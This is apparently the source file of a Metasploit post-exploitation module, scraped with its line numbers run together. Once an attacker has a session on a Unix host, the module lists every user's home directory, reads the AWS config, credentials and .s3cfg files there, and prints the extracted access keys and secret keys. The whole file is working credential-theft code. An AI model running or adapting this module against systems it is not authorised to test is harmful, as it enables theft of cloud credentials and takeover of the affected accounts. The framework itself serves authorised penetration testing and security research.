Path: blob/master/modules/post/multi/gather/aws_keys.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Unix89AWS_KEY = 'AWS_ACCESS_KEY_ID'10AWS_SECRET = 'AWS_SECRET_ACCESS_KEY'11S3_KEY = 'access_key'12S3_SECRET = 'secret_key'1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'UNIX Gather AWS Keys',19'Description' => %q{20This module will attempt to read AWS configuration files21(.aws/config, .aws//credentials and .s3cfg) for users discovered22on the session'd system and extract AWS keys from within.23},24'License' => MSF_LICENSE,25'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' ],26'Platform' => ['linux', 'osx', 'unix', 'solaris', 'bsd'],27'SessionTypes' => %w[shell meterpreter],28'References' => [29[ 'URL', 'http://s3tools.org/kb/item14.htm' ],30[ 'URL', 'http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html#cli-config-files' ]31],32'Notes' => {33'Stability' => [CRASH_SAFE],34'SideEffects' => [],35'Reliability' => []36}37)38)39end4041def get_aws_keys(config_file)42keys_data = []43unless readable? config_file44vprint_error("Couldn't read #{config_file}")45return []46end47config_s = read_file(config_file)48return keys_data if config_s.empty?4950aws_config = Rex::Parser::Ini.from_s(config_s)51aws_config.each_key do |profile|52# XXX: Ini assumes anything on either side of the = is the key and value53# including spaces, so we need to fix this54profile_config = Hash[aws_config[profile].map { |k, v| [ k.strip, v.strip ] }]55aws_access_key_id = nil56aws_secret_access_key = nil57profile_config.each_pair do |key, value|58if key == AWS_KEY.downcase || key == S3_KEY59aws_access_key_id = value60end6162if key == AWS_SECRET.downcase || key == S3_SECRET63aws_secret_access_key = value64end65end66next unless aws_access_key_id || aws_secret_access_key6768keys_data << [ config_file, aws_access_key_id, aws_secret_access_key, profile ]69end7071keys_data72end7374def get_keys_from_files75keys_data = []76vprint_status('Enumerating possible user AWS config files')77# build up a list of aws configuration files to read, including the78# configuration files that may exist (rare)79enum_user_directories.map do |user_dir|80vprint_status("Looking for AWS config/credentials files in #{user_dir}")81%w[.aws/config .aws/credentials .s3cfg].each do |possible_key_file|82this_key_data = get_aws_keys(::File.join(user_dir, possible_key_file))83next if this_key_data.empty?8485keys_data <<= this_key_data.flatten86end87end88keys_data89end9091def run92keys_data = get_keys_from_files93return if keys_data.empty?9495keys_table = Rex::Text::Table.new(96'Header' => 'AWS Key Data',97'Columns' => [ 'Source', AWS_KEY, AWS_SECRET, 'Profile' ]98)99100keys_data.each do |key_data|101keys_table << key_data102end103104print_line(keys_table.to_s)105end106end107108109